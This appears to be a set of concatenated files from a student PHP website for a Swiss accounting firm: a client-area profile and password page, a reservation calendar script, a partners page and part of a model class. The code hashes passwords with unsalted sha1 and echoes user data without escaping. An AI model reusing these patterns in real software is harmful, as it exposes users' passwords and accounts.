<p>
<a href="services.php">Nos services</a>
</p>
<p>
<a href="contact.php">Nous contater</a>
</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-4 col-lg-3 col-xl-3 mx-auto mb-md-0 mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold">Contact</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 70px; height:5px;">
<p>
<i class="fas fa-home mr-3"></i> Avenue Industrielle 14</p>
<p>
<i class="fas fa-map-pin mr-4"></i> 1227 Carouge </p>
<p>
<i class="fas fa-envelope mr-3"></i> <EMAIL></p>
<p>
<i class="fas fa-phone mr-3"></i> 076 375 33 06 </p>
<p>
<i class="fas fa-phone mr-3"></i> 078 778 07 11 </p>
</div>
<!-- Grid column -->
</div>
<!-- Grid row -->
</div>
<!-- Footer Links -->
<!-- Copyright -->
<div class="footer-copyright text-center py-3">© 2020 Copyright:
<a href="https://esig-sandbox.ch/team2020_2"> C&M-Comptabilité.com</a>
</div>
<!-- Copyright -->
</footer>
</body>
</html>
<file_sep><?php
$titre = "C&M - Espace client";
include('navbar.php');
$errorEC = "";
$errorECexist ="";
$nvmdpE="";
?>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="<KEY>" crossorigin="anonymous">
<!-- Custom styles for this template -->
<link href="css/blog.css" rel="stylesheet">
<!-- JS, Popper.js, and jQuery -->
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<!-- Les icones utilisé -->
<script src="https://kit.fontawesome.com/693819749c.js" crossorigin="anonymous"></script>
<main role="main" class="container">
<div class="row">
<div class="col-md-12 blog-main">
<div class="row">
<div class="col-sm-3 col-md-3" >
</div>
<div class="col-sm-6 col-md-6">
<?php if ($_SESSION['EST_CLIENT'] == 1): ?>
<?php
$nomespace = $_SESSION["PER_NOM"];
$prenomespace = $_SESSION["PER_PRENOM"];
$emailespace = $_SESSION["PER_EMAIL"];
$datenaissancespace = $_SESSION['PER_DATEDENAISSANCE'];
$datenaissancespacef = date("d-m-Y", strtotime($_SESSION["PER_DATEDENAISSANCE"]));
$telespace = $_SESSION["PER_TELEPHONE"];
$adresseespace = $_SESSION["PER_ADRESSE"];
$cpespace = $_SESSION["PER_CODEPOSTAL"];
$localiteespace = $_SESSION["PER_LOCALITE"];
?>
<h4><?php echo $nomespace ?></h4>
<h5><?php echo $prenomespace ?></h5>
<h6><?php echo $emailespace ?></h6>
<h6><?php echo $datenaissancespacef ?></h6>
<h6><?php echo $telespace ?></h6>
<h6><?php echo $adresseespace ?></h6>
<h6><?php echo $cpespace ." ". $localiteespace ?></h6>
<?php else: ?>
<?php $nomespaceE = $_SESSION["PERM_NOM"];
$emailespaceE = $_SESSION["PERM_EMAIL"];
$telespaceE = $_SESSION["PERM_TELEPHONE"];
$adresseespaceE = $_SESSION["PERM_ADRESSE"];
$cpespaceE = $_SESSION["PERM_CODEPOSTAL"];
$localiteespaceE = $_SESSION["PERM_LOCALITE"];
?>
<h4><?php echo $nomespaceE ?></h4>
<h6><?php echo $emailespaceE ?></h6>
<h6><?php echo $telespaceE ?></h6>
<h6><?php echo $adresseespaceE ." ". $cpespaceE ." ". $localiteespaceE ?></h6>
<?php endif; ?>
<div class="btn-group ml-2 mr-2" role="group" aria-label="Second group">
<button type="button" class="btn btn-dark" data-toggle="modal" data-target="#ModalModifInfo" style="background-color : #26479e;">Modifier vos informations </button>
</div>
<div class="btn-group" role="group" aria-label="Third group">
<button type="button" class="btn btn-dark" data-toggle="modal" data-target="#ModalModifMdp" style="background-color : #26479e;">Modifier votre mot de passe </button>
</div>
</div>
<div class="col-sm-3 col-md-3">
</div>
</div>
<!-- Modal Modif Infos-->
<?php if (isset($_POST['btnValiderEspaceClient'])){
if ($_SESSION['EST_CLIENT'] == 1) {
$idclientpostespace = $_SESSION['ID_PERSONNEP'];
$nompostespace = $_POST["nomES"];
$prenompostespace = $_POST["prenomES"];
$emailpostespace = $_POST["emailES"];
$datenaissancepostespace = $_POST['dateNaissanceES'];
$phonepostespace= $_POST["telES"];
$adressepostespace =$_POST["adresseES"];
$codepostalpostespace = $_POST["zipCodeES"];
$localitepostespace = $_POST["localiteES"];
if (!preg_match('/[$%^()+=\-\[\];\/{}|:<>?~\\\\]/', $adressepostespace)){
if (filter_var($emailpostespace,FILTER_VALIDATE_EMAIL)) {
$user = getOneUser($emailpostespace);
if (!empty($user)) {
if ($emailpostespace == $_SESSION['PER_EMAIL']) {
updateespaceclientC($idclientpostespace,$nompostespace,$prenompostespace,$emailpostespace,$datenaissancepostespace,$phonepostespace,$codepostalpostespace,$localitepostespace,$adressepostespace);
$user = getOneUser($emailpostespace);
$_SESSION["ID_PERSONNEP"] = $user["ID_PERSONNEP"];
$_SESSION["PER_NOM"] = $user["PER_NOM"];
$_SESSION["PER_PRENOM"] = $user["PER_PRENOM"];
$_SESSION["PER_EMAIL"] = $user["PER_EMAIL"];
$_SESSION["PER_DATEDENAISSANCE"] = $user["PER_DATEDENAISSANCE"];
$_SESSION["PER_TELEPHONE"] = $user["PER_TELEPHONE"];
$_SESSION["PER_CODEPOSTAL"] = $user["PER_CODEPOSTAL"];
$_SESSION["PER_LOCALITE"] = $user["PER_LOCALITE"];
$_SESSION["PER_ADRESSE"] = $user["PER_ADRESSE"];
header("Location:espaceClient.php");
}else {
$errorEC = "<div class='alert alert-danger' role='alert'> Cette adresse mail est déjà utlisée !</div>";
}
}else {
updateespaceclientC($idclientpostespace,$nompostespace,$prenompostespace,$emailpostespace,$datenaissancepostespace,$phonepostespace,$codepostalpostespace,$localitepostespace,$adressepostespace);
$user = getOneUser($emailpostespace);
$_SESSION["ID_PERSONNEP"] = $user["ID_PERSONNEP"];
$_SESSION["PER_NOM"] = $user["PER_NOM"];
$_SESSION["PER_PRENOM"] = $user["PER_PRENOM"];
$_SESSION["PER_EMAIL"] = $user["PER_EMAIL"];
$_SESSION["PER_DATEDENAISSANCE"] = $user["PER_DATEDENAISSANCE"];
$_SESSION["PER_TELEPHONE"] = $user["PER_TELEPHONE"];
$_SESSION["PER_CODEPOSTAL"] = $user["PER_CODEPOSTAL"];
$_SESSION["PER_LOCALITE"] = $user["PER_LOCALITE"];
$_SESSION["PER_ADRESSE"] = $user["PER_ADRESSE"];
header("Location:espaceClient.php");
}
}else {
$errorECexist = "<div class='alert alert-danger' role='alert'> Cette adresse mail n'est pas valide !</div>";
}
}else {
echo "<div class='alert alert-danger' role='alert'> cette adresse n'est pas valide !</div>";
}
}else {
$idclientpostespace = $_SESSION['ID_PERSONNEMORALE'];
$nompostespace = $_POST["nomES"];
$prenompostespace = $_POST["prenomES"];
$emailpostespace = $_POST["emailES"];
$datenaissancepostespace = $_POST['dateNaissanceES'];
$phonepostespace= $_POST["telES"];
$adressepostespace =$_POST["adresseES"];
$codepostalpostespace = $_POST["zipCodeES"];
$localitepostespace = $_POST["localiteES"];
if (filter_var($emailpostespace,FILTER_VALIDATE_EMAIL)) {
$user = getOneUser($emailpostespace);
if (!empty($user)) {
if ($emailpostespace == $_SESSION['PERM_EMAIL']) {
updateespaceclientE($idclientpostespace,$nompostespace,$emailpostespace,$phonepostespace,$codepostalpostespace,$localitepostespace,$adressepostespace);
$user = getOneUsermorale($emailpostespace);
$_SESSION["ID_PERSONNEMORALE"] = $user["ID_PERSONNEMORALE"];
$_SESSION["PERM_NOM"] = $user["PERM_NOM"];
$_SESSION["PERM_PRENOM"] = $user["PERM_PRENOM"];
$_SESSION["PERM_EMAIL"] = $user["PERM_EMAIL"];
$_SESSION["PERM_DATEDENAISSANCE"] = $user["PERM_DATEDENAISSANCE"];
$_SESSION["PERM_TELEPHONE"] = $user["PERM_TELEPHONE"];
$_SESSION["PERM_CODEPOSTAL"] = $user["PERM_CODEPOSTAL"];
$_SESSION["PERM_LOCALITE"] = $user["PERM_LOCALITE"];
$_SESSION["PERM_ADRESSE"] = $user["PERM_ADRESSE"];
header("Location:espaceClient.php");
}else {
$errorEC = "<div class='alert alert-danger' role='alert'> Cette adresse mail est déjà utlisée !</div>";
}
}else {
updateespaceclientE($idclientpostespace,$nompostespace,$emailpostespace,$phonepostespace,$codepostalpostespace,$localitepostespace,$adressepostespace);
$user = getOneUsermorale($emailpostespace);
$_SESSION["ID_PERSONNEMORALE"] = $user["ID_PERSONNEMORALE"];
$_SESSION["PERM_NOM"] = $user["PERM_NOM"];
$_SESSION["PERM_PRENOM"] = $user["PERM_PRENOM"];
$_SESSION["PERM_EMAIL"] = $user["PERM_EMAIL"];
$_SESSION["PERM_DATEDENAISSANCE"] = $user["PERM_DATEDENAISSANCE"];
$_SESSION["PERM_TELEPHONE"] = $user["PERM_TELEPHONE"];
$_SESSION["PERM_CODEPOSTAL"] = $user["PERM_CODEPOSTAL"];
$_SESSION["PERM_LOCALITE"] = $user["PERM_LOCALITE"];
$_SESSION["PERM_ADRESSE"] = $user["PERM_ADRESSE"];
header("Location:espaceClient.php");
}
}else {
$errorECexist = "<div class='alert alert-danger' role='alert'> Cette adresse mail n'est pas valide !</div>";
}
}
}
if (isset($_POST['btnValiderEspaceMDP'])) {
if ($_SESSION['EST_CLIENT'] == 1) {
$nvmdpE1 = $_POST['nvmdpE1'];
$nvmdpE2 = $_POST['nvmdpE2'];
$email = $_SESSION['PER_EMAIL'];
if ($nvmdpE1 == $nvmdpE2) {
changeMDP($email,sha1($nvmdpE1));
$nvmdpE = "<div class='alert alert-success' role='alert'> Votre mot de passe a été modifié !</div>";
}else {
$nvmdpE= "<div class='alert alert-danger' role='alert'> Les mots de passes doivent être identiques ! </div>";
}
}else {
$nvmdpE1 = $_POST['nvmdpE1'];
$nvmdpE2 = $_POST['nvmdpE2'];
$email = $_SESSION['PERM_EMAIL'];
if ($nvmdpE1 == $nvmdpE2) {
changeMDPmorale($email,sha1($nvmdpE1));
$nvmdpE = "<div class='alert alert-success' role='alert'> Votre mot de passe a été modifié !</div>";
}else {
$nvmdpE= "<div class='alert alert-danger' role='alert'> Les mots de passes doivent être identiques ! </div>";
}
}
}
?>
<?php if ($_SESSION['EST_CLIENT'] == 1): ?>
<form action="espaceClient.php" method="post">
<?php echo $errorEC ?>
<?php echo $errorECexist ?>
<?php echo $nvmdpE ?>
<div class="modal fade" id="ModalModifInfo" tabindex="-1" role="dialog" aria-labelledby="MotDePasseOublier" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="MotDePasseOublier">Modifier ses informations</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="md-form form-sm mb-3">
<div class="input-group">
<input type="text" name="nomES" class="form-control" placeholder="Insérez votre nom" required autofocus=""value='<?php echo $nomespace; ?>'pattern="[a-zA-ZÀ-ÿ]{1,15}" maxlength="15">
<input type="text" name="prenomES" class="form-control" placeholder="Insérez votre prénom" required autofocus="" value='<?php echo $prenomespace; ?>'pattern="[a-zA-ZÀ-ÿ]{1,15}" maxlength="15">
</div>
</div>
<div class="md-form form-sm mb-3">
<div class="input-group">
<input type="email" name="emailES" class="form-control" placeholder="Insérez votre adresse mail" required autofocus=" "value='<?php echo $emailespace; ?>'maxlength="30">
<span class="input-group-append">
<div class="input-group-text bg-transparent"><i class="fas fa-at"></i></div>
</span>
</div>
</div>
<div class="md-form form-sm mb-3">
<input type="date" name="dateNaissanceES" class="form-control" required autofocus="" value='<?php echo $datenaissancespace; ?>'maxlength="6">
</div>
<div class="md-form form-sm mb-3">
<input type="text" name="telES" class="form-control" placeholder="Insérez votre numéro de téléphone portable" required autofocus="" value='<?php echo "0".$telespace ?>'maxlength="15" minlength="10">
</div>
<div class="md-form form-sm mb-3">
<div class="input-group">
<span class="input-group-append">
<div class="input-group-text bg-transparent">Adresse</div>
</span>
<input type="text" name="adresseES" class="form-control" placeholder="votre adresse" required autofocus="" value='<?php echo $adresseespace; ?>' >
</div>
</div>
<div class="md-form form-sm mb-3">
<div class="input-group">
<input type="text" name="zipCodeES" class="form-control" placeholder="Code Postale" required autofocus=""value='<?php echo $cpespace; ?>'minlength="4">
<span class="input-group-append">
</span>
<input type="text" name="localiteES" class="form-control" placeholder="Localité" required autofocus=""value='<?php echo $localiteespace; ?>'pattern="[a-zA-ZÀ-ÿ]{1,15}" maxlength="15">
</div>
</div>
</div>
<div class="modal-footer">
<button type="reset" class="btn btn-secondary" data-dismiss="modal" >Fermer</button>
<button type="submit" class="btn btn-dark" name="btnValiderEspaceClient">Envoyer</button>
</div>
</div>
</div>
</div>
</form>
<?php else: ?>
<?php echo $errorEC ?>
<?php echo $errorECexist ?>
<?php echo $nvmdpE ?>
<form action="espaceClient.php" method="post">
<div class="modal fade" id="ModalModifInfo" tabindex="-1" role="dialog" aria-labelledby="MotDePasseOublier" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="MotDePasseOublier">Modifier ses informations</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="md-form form-sm mb-3">
<div class="input-group">
<input type="text" name="nomES" class="form-control" placeholder="Insérez votre nom" required autofocus=""value='<?php echo $nomespaceE; ?>'>
</div>
</div>
<div class="md-form form-sm mb-3">
<div class="input-group">
<input type="email" name="emailES" class="form-control" placeholder="Insérez votre adresse mail" required autofocus=" "value='<?php echo $emailespaceE; ?>'>
<span class="input-group-append">
<div class="input-group-text bg-transparent"><i class="fas fa-at"></i></div>
</span>
</div>
</div>
<div class="md-form form-sm mb-3">
<input type="text" name="telES" class="form-control" placeholder="Insérez votre numéro de téléphone portable" required autofocus="" value='<?php echo "0".$telespaceE ?>'>
</div>
<div class="md-form form-sm mb-3">
<div class="input-group">
<span class="input-group-append">
<div class="input-group-text bg-transparent">Adresse</div>
</span>
<input type="text" name="adresseES" class="form-control" placeholder="votre adresse" required autofocus="" value='<?php echo $adresseespaceE; ?>'>
</div>
</div>
<div class="md-form form-sm mb-3">
<div class="input-group">
<input type="text" name="zipCode" class="form-control" placeholder="Code Postale" required autofocus=""value='<?php echo $cpespaceE; ?>'>
<span class="input-group-append">
</span>
<input type="text" name="localite" class="form-control" placeholder="Localité" required autofocus=""value='<?php echo $localiteespaceE; ?>'>
</div>
</div>
</div>
<div class="modal-footer">
<button type="reset" class="btn btn-secondary" data-dismiss="modal">Fermer</button>
<button type="submit" class="btn btn-dark" name="btnValiderEspaceClient">Envoyer</button>
</div>
</div>
</div>
</div>
</form>
<?php endif; ?>
<!-- Fin Modal Modif Infos-->
<!-- Modal Modif Infos-->
<div class="modal fade" id="ModalModifMdp" tabindex="-1" role="dialog" aria-labelledby="MotDePasseOublier" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="MotDePasseOublier">Modifier votre mot de passe</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<form action="espaceClient.php" method="post">
<div class="modal-body">
<div class="md-form form-sm mb-3">
<div class="input-group">
<input class="form-control py-2 border-right-0 border" name="nvmdpE1" type="password" placeholder="<PASSWORD>" required maxlength="30" minlength = "6">
<span class="input-group-append">
<div class="input-group-text bg-transparent"><i class="fas fa-key"></i></div>
</span>
</div>
</div>
<div class="md-form form-sm mb-3">
<div class="input-group">
<input class="form-control py-2 border-right-0 border" name="nvmdpE2" type="password" placeholder="retapez votre mot de passe" required maxlength="30" minlength = "6">
<span class="input-group-append">
<div class="input-group-text bg-transparent"><i class="fas fa-key"></i></div>
</span>
</div>
</div>
</div>
<div class="modal-footer">
<button type="reset" class="btn btn-secondary" data-dismiss="modal" >Fermer</button>
<button type="submit" class="btn btn-dark" name="btnValiderEspaceMDP">Envoyer</button>
</div>
</form>
</div>
</div>
</div>
<!-- Fin Modal Modif Infos-->
<div class="mt-5 row">
<div class="col-sm-4 col-md-4" >
<button id="document" type="submit" class="btn btn-dark" style="background-color : #26479e;" onclick="document.location.href='documents.php';">Mes documents</button>
</div>
<div class="col-sm-4 col-md-4">
</div>
<div class="col-sm-4 col-md-4">
</div>
</div>
</div><!-- /.row -->
</div>
</main><!-- /.container -->
<!-- Footer -->
<footer class="page-footer font-small">
<div style="background-color: #4560a7; margin-top:50px">
<div class="container">
<!-- Grid row-->
<div class="row py-4 d-flex align-items-center">
<!-- Grid column -->
<div class="col-md-6 col-lg-5 text-center text-md-left mb-4 mb-md-0">
<h6 class="mb-0">Vous pouvez aussi nous contactez sur les réseaux sociaux!</h6>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-6 col-lg-7 text-center text-md-right">
<!-- Facebook -->
<a class="fb-ic" href="https://www.facebook.com/CM-Comptabilit%C3%A9-S%C3%A0rl-107024997531257/">
<i class="fab fa-facebook-f white-text mr-4"> </i>
</a>
<!--Instagram-->
<a class="ins-ic" href="https://instagram.com/cm.comptabilite?igshid=1awx5885odk3t">
<i class="fab fa-instagram white-text"> </i>
</a>
</div>
<!-- Grid column -->
</div>
<!-- Grid row-->
</div>
</div>
<!-- Footer Links -->
<div class="container text-center text-md-left mt-5" style="background-color:lightgrey">
<!-- Grid row -->
<div class="row mt-3">
<!-- Grid column -->
<div class="col-md-3 col-lg-4 col-xl-3 mx-auto mb-4">
<!-- Content -->
<h6 class="text-uppercase font-weight-bold">C&M Comptabilité</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;">
<p>Que vous soyez indépendant ou particulier, votre demande et votre satisfaction sont nos
premiers critères de collaboration.</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-2 col-lg-2 col-xl-2 mx-auto mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold"></h6>
<!-- <hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;"> -->
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-3 col-lg-2 col-xl-2 mx-auto mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold">Liens utiles</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;">
<p>
<a href="login.php">Connectez vous!</a>
</p>
<p>
<a href="reservation.php">Prenez un rendez-vous</a>
</p>
<p>
<a href="services.php">Nos services</a>
</p>
<p>
<a href="contact.php">Nous contater</a>
</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-4 col-lg-3 col-xl-3 mx-auto mb-md-0 mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold">Contact</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 70px; height:5px;">
<p>
<i class="fas fa-home mr-3"></i> Avenue Industrielle 14</p>
<p>
<i class="fas fa-map-pin mr-4"></i> 1227 Carouge </p>
<p>
<i class="fas fa-envelope mr-3"></i> <EMAIL></p>
<p>
<i class="fas fa-phone mr-3"></i> 076 375 33 06 </p>
<p>
<i class="fas fa-phone mr-3"></i> 078 778 07 11 </p>
</div>
<!-- Grid column -->
</div>
<!-- Grid row -->
</div>
<!-- Footer Links -->
<!-- Copyright -->
<div class="footer-copyright text-center py-3">© 2020 Copyright:
<a href="https://esig-sandbox.ch/team2020_2"> C&M-Comptabilité.com</a>
</div>
<!-- Copyright -->
</footer>
<file_sep>
window.onload = () => {
let xmlhttp = new XMLHttpRequest()
var d = new Date();
var n = d.getDay();
xmlhttp.onreadystatechange = () => {
if(xmlhttp.readyState == 4){
if(xmlhttp.status == 200){
let evenements = JSON.parse(xmlhttp.responseText);
var calendarEl = document.getElementById('calendar');
var calendar = new FullCalendar.Calendar(calendarEl, {
firstDay: n,
expandRows: true,
headerToolbar: {
left: 'prev,next,today',
center: 'title',
right: 'timeGridWeek,timeGridDay,dayGridMonth'
},
buttonText:{
today : 'Aujourd\'hui',
week : 'Semaines',
day: 'Jours',
month:'Mois',
},
initialView: 'timeGridWeek',
hiddenDays: [ 0, 6 ],
navLinks: true, // can click day/week names to navigate views
selectable: true,
selectMirror: true,
allDaySlot: false,
slotMinTime: "08:00:00",
slotMaxTime: "18:00:00",
slotDuration: "01:00:00",
locale: 'fr',
select: function(arg) {
var title = prompt('Motif:');
if (title) {
function appendLeadingZeroes(n){
if(n <= 9){
return "0" + n;
}
return n
}
let req = new XMLHttpRequest()
let formatted_datestart = arg.start.getFullYear() + "-" + appendLeadingZeroes(arg.start.getMonth() + 1) + "-" + appendLeadingZeroes(arg.start.getDate()) + " " + appendLeadingZeroes(arg.start.getHours()) + ":" + appendLeadingZeroes(arg.start.getMinutes()) + ":" + appendLeadingZeroes(arg.start.getSeconds())
let formatted_dateend = arg.end.getFullYear() + "-" + appendLeadingZeroes(arg.end.getMonth() + 1) + "-" + appendLeadingZeroes(arg.end.getDate()) + " " + appendLeadingZeroes(arg.end.getHours()) + ":" + appendLeadingZeroes(arg.end.getMinutes()) + ":" + appendLeadingZeroes(arg.end.getSeconds())
let evenement = {
title: title,
start: arg.start,
end: arg.end,
allDay: arg.allDay
}
let reservation = {
ID_ADMIN: 1 ,
RES_DATEDEBUT:formatted_datestart,
RES_DATEFIN:formatted_dateend,
RES_MOTIF:title,
}
req.onreadystatechange = () => {
if(req.readyState == 4){
if(req.status == 201){
console.log(req);
calendar.addEvent(evenement)
}}}
req.open("POST","api-rest/reservation/creerA.php",true);
req.send(JSON.stringify(reservation))
}
calendar.unselect()
},
eventClick: function(arg) {
if (confirm('Voulez vous supprimer cette réservation?')) {
let reqdelete = new XMLHttpRequest()
let reservationdel={
ID_RESERVATION: arg.event.id,
}
reqdelete.onreadystatechange = () => {
if(reqdelete.readyState == 4){
if(reqdelete.status == 200){
console.log(reqdelete);
arg.event.remove()
}}}
reqdelete.open("DELETE","api-rest/reservation/supprimer.php",true);
reqdelete.send(JSON.stringify(reservationdel))
}
},
events : evenements,
nowIndicator: true,
editable: true,
});
calendar.render();
}}}
xmlhttp.open("GET","api-rest/reservation/lireA.php",true);
xmlhttp.send(null)
console.log(xmlhttp);
}
<file_sep><!DOCTYPE html>
<html dir="ltr">
<head>
<link rel="stylesheet" href="css/partenaires.css" />
<link rel="stylesheet" href="css/blog.css">
<!-- Add icon library -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<meta charset="utf-8">
<title>C&M Comptabilité Sàrl</title>
<?php
$titre = "C&M - Accueil";
include('navbar.php');
?>
</head>
<body style="">
<main role="main" class="container">
<div class="row">
<div class="blog-post">
<div class="intro">
<div class="intro-text left-0 text-center rounded">
<h2 class="section-heading mb-3">
<span class="section-heading-lower rounded">Partenaire</span>
</h2>
</div>
</div>
<containter class="container">
<div class="intro">
<div class="intro-text2 justify rounded">
<h2 class="section-heading2">
<span class="section-heading-upper rounded">
C&M Comptabilité Sàrl a établi un partenariat avec la compagnie d’assurance Allianz Suisse. De ce fait, nous pouvons vous conseillez en matière de couverture d’assurance et en termes de prévoyance.
Si vous avez besoin de plus de renseignement nous vous invitons à prendre un rendez-vous via notre site internet ou nous contacté directement par Email ou par téléphone.
<br /><br />Vous pourrez aussi trouvez ci-joint quelques brochures : <br /><br />
<!-- Auto width -->
<button class="btn"><a href="Doc\Brochure1.pdf" download><i class="fa fa-download"></i> Brochure 1</a></button>
<button class="btn"><a href="Doc\Brochure2.pdf" download><i class="fa fa-download"></i> Brochure 2</a></button>
<button class="btn"><a href="Doc\Brochure3.pdf" download><i class="fa fa-download"></i> Brochure 3</a></button>
</span>
</h2>
</div>
</div>
</containter>
</div>
</div>
</main><!-- /.container -->
<!-- Footer -->
<footer class="page-footer font-small">
<div style="background-color: #26479e; margin-top:50px">
<div class="container">
<!-- Grid row-->
<div class="row py-4 d-flex align-items-center">
<!-- Grid column -->
<div class="col-md-6 col-lg-5 text-center text-md-left mb-4 mb-md-0" st>
<h6 class="mb-0" style="color:white;">Vous pouvez aussi nous contactez sur les réseaux sociaux!</h6>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-6 col-lg-7 text-center text-md-right">
<!-- Facebook -->
<a class="fb-ic" href="https://www.facebook.com/CM-Comptabilit%C3%A9-S%C3%A0rl-107024997531257/">
<i class="fab fa-facebook-f white-text mr-4"> </i>
</a>
<!--Instagram-->
<a class="ins-ic" href="https://instagram.com/cm.comptabilite?igshid=1awx5885odk3t">
<i class="fab fa-instagram white-text"> </i>
</a>
</div>
<!-- Grid column -->
</div>
<!-- Grid row-->
</div>
</div>
<!-- Footer Links -->
<div class="container text-center text-md-left mt-5" style="background-color:lightgrey">
<!-- Grid row -->
<div class="row mt-3">
<!-- Grid column -->
<div class="col-md-3 col-lg-4 col-xl-3 mx-auto mb-4">
<!-- Content -->
<h6 class="text-uppercase font-weight-bold">C&M Comptabilité</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;">
<p>Que vous soyez indépendant ou particulier, votre demande et votre satisfaction sont nos
premiers critères de collaboration.</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-2 col-lg-2 col-xl-2 mx-auto mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold"></h6>
<!-- <hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;"> -->
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-3 col-lg-2 col-xl-2 mx-auto mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold">Liens utiles</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;">
<p>
<a href="login.php">Connectez vous!</a>
</p>
<p>
<a href="reservation.php">Prenez un rendez-vous</a>
</p>
<p>
<a href="services.php">Nos services</a>
</p>
<p>
<a href="contact.php">Nous contater</a>
</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-4 col-lg-3 col-xl-3 mx-auto mb-md-0 mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold">Contact</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 70px; height:5px;">
<p>
<i class="fas fa-home mr-3"></i> Avenue Industrielle 14</p>
<p>
<i class="fas fa-map-pin mr-4"></i> 1227 Carouge </p>
<p>
<i class="fas fa-envelope mr-3"></i> <EMAIL></p>
<p>
<i class="fas fa-phone mr-3"></i> 076 375 33 06 </p>
<p>
<i class="fas fa-phone mr-3"></i> 078 778 07 11 </p>
</div>
<!-- Grid column -->
</div>
<!-- Grid row -->
</div>
<!-- Footer Links -->
<!-- Copyright -->
<div class="footer-copyright text-center py-3">© 2020 Copyright:
<a href="https://esig-sandbox.ch/team2020_2"> C&M-Comptabilité.com</a>
</div>
<!-- Copyright -->
</footer>
</body>
</html>
<file_sep><?php
class Personnemorale{
// Connexion
private $connexion;
private $table = "personnemorale";
// object properties
public $ID_PERSONNEMORALE;
public $PERM_NOM;
public $PERM_EMAIL;
public $PERM_MOTDEPASSE;
public $PERM_TELEPHONE;
public $PERM_CODEPOSTAL;
public $PERM_LOCALITE;
public $PERM_ADRESSE;
public $PERM_CODENVMDP;
public $PERM_DOMAINE;
/**
* Constructeur avec $db pour la connexion à la base de données
*
* @param $db
*/
public function __construct($db){
$this->connexion = $db;
}
/**
* Lecture des produits
*
* @return void
*/
public function lire(){
// On écrit la requête
$sql = "SELECT * FROM ".$this->table ;
// On prépare la requête
$query = $this->connexion->prepare($sql);
// On exécute la requête
$query->execute();
// On retourne le résultat
return $query;
}
/**
* Créer un produit
*
* @return void
*/
public function creer(){
// Ecriture de la requête SQL en y insérant le nom de la table
$sql = "INSERT INTO " . $this->table . " SET PERM_NOM=:nom,PERM_EMAIL=:email,PERM_MOTDEPASSE=:mdp,PERM_TELEPHONE=:tel,PERM_CODEPOSTAL=:cp,PERM_LOCALITE=:localite,PERM_ADRESSE=:adresse,PERM_CODENVMDP=:codenvmdp,PERM_DOMAINE=:domaine";
// Préparation de la requête
$query = $this->connexion->prepare($sql);
// Protection contre les injections
$this->PERM_NOM=htmlspecialchars(strip_tags($this->PERM_NOM));
$this->PERM_EMAIL=htmlspecialchars(strip_tags($this->PERM_EMAIL));
$this->PERM_MOTDEPASSE=htmlspecialchars(strip_tags($this->PERM_MOTDEPASSE));
$this->PERM_TELEPHONE=htmlspecialchars(strip_tags($this->PERM_TELEPHONE));
$this->PERM_CODEPOSTAL=htmlspecialchars(strip_tags($this->PERM_CODEPOSTAL));
$this->PERM_LOCALITE=htmlspecialchars(strip_tags($this->PERM_LOCALITE));
$this->PERM_ADRESSE=htmlspecialchars(strip_tags($this->PERM_ADRESSE));
$this->PERM_CODENVMDP=htmlspecialchars(strip_tags($this->PERM_CODENVMDP));
$this->PERM_DOMAINE=htmlspecialchars(strip_tags($this->PERM_DOMAINE));
// Ajout des données protégées
$query->bindParam(":nom", $this->PERM_NOM);
$query->bindParam(":email", $this->PERM_EMAIL);
